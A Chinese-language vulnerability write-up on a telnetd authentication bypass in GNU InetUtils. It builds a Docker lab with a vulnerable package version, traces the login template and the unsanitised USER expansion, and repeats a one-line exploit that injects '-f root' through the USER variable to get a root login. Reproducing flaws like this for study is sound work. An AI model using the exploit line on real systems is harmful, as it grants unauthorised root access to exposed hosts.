漏洞描述

环境搭建

Dockerfile

FROM debian:11-slim

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
      inetutils-telnetd=2:2.0-1+deb11u2 \
      telnet && \
    rm -rf /var/lib/apt/lists/*

RUN useradd user1 && \
    sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf && \
    sed -i 's/telnet\tstream\ttcp\tnowait\troot\t\/usr\/sbin\/telnetd\ttelnetd/telnet\tstream\ttcp\tnowait\troot\t\/usr\/sbin\/telnetd\ttelnetd -a/' /etc/inetd.conf

COPY docker-entrypoint.sh /docker-entrypoint.sh

EXPOSE 23

CMD ["/docker-entrypoint.sh"]

docker-entrypoint.sh

#!/bin/bash
set -euo pipefail

/etc/init.d/inetutils-inetd start

echo "Container IP address:"
hostname -I | awk '{print "  " $1}'
echo ""
echo "Remote exploit example from host:"
echo "  USER='-f root' telnet -a <container-ip>"

# drop privileges for the rest of the session
exec su -s /bin/bash user1

docker build -t telnetd-exploit .

docker run --rm -p 23:23 telnetd-exploit

漏洞分析

主要文件

GNU InetUtils的官方源码托管在Codeberg上:

https://codeberg.org/inetutils/inetutils

漏洞涉及的主要代码文件为:

telnetd/telnetd.c:包含telnetd服务器的主逻辑和登录调用模板。

telnetd/utility.c:负责变量扩展功能。

代码分析

在 telnetd/telnetd.c 中,定义了一个登录调用模板(login_invocation),用于生成调用/usr/bin/login的命令行。对于非Solaris系统(如GNU/Linux),使用PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"。其中:

1、PATH_LOGIN通常是 /usr/bin/login。

2、%h扩展为远程主机名。

3、%?u{-f %u}{%U}是一个条件表达式:如果user_name变量存在(即客户端已提供用户名),则扩展为-f %u(其中%u代表user_name);否则扩展为%U(代表getenv("USER")的值,即从客户端环境变量中获取的USER值)。

在telnetd/utility.c中,函数_var_short_name负责解析和扩展模板中的变量(如%U)。这里没有对getenv("USER")的值进行任何消毒或转义。如果客户端发送的USER环境变量包含特殊字符(如-f root),它会原样嵌入到登录命令中。

触发流程

1、客户端发送恶意USER值:通过-a参数设置USER环境变量为-f root

USER='-f root' telnet -a remoteip

2、telnetd连接:telnetd服务器接收连接后,由于初始状态下user_name不存在(未认证),模板条件%?u{-f %u}{%U}会选择扩展%U。

3、变量扩展:%U被扩展为getenv("USER")的值,即-f root。因此,生成的登录命令变为:

/usr/bin/login -p -h <远程主机名> -f root

4、漏洞触发:login程序将-f参数解释为“跳过认证”(force login),并以root用户身份直接登录,无需密码验证。这就完成了认证绕过。

漏洞复现

USER='-f root' telnet -a remoteip

参考链接

https://www.openwall.com/lists/oss-security/2026/01/20/2

https://mp.weixin.qq.com/s/kkLsRsc_IrP8gkmfUe-BBg

​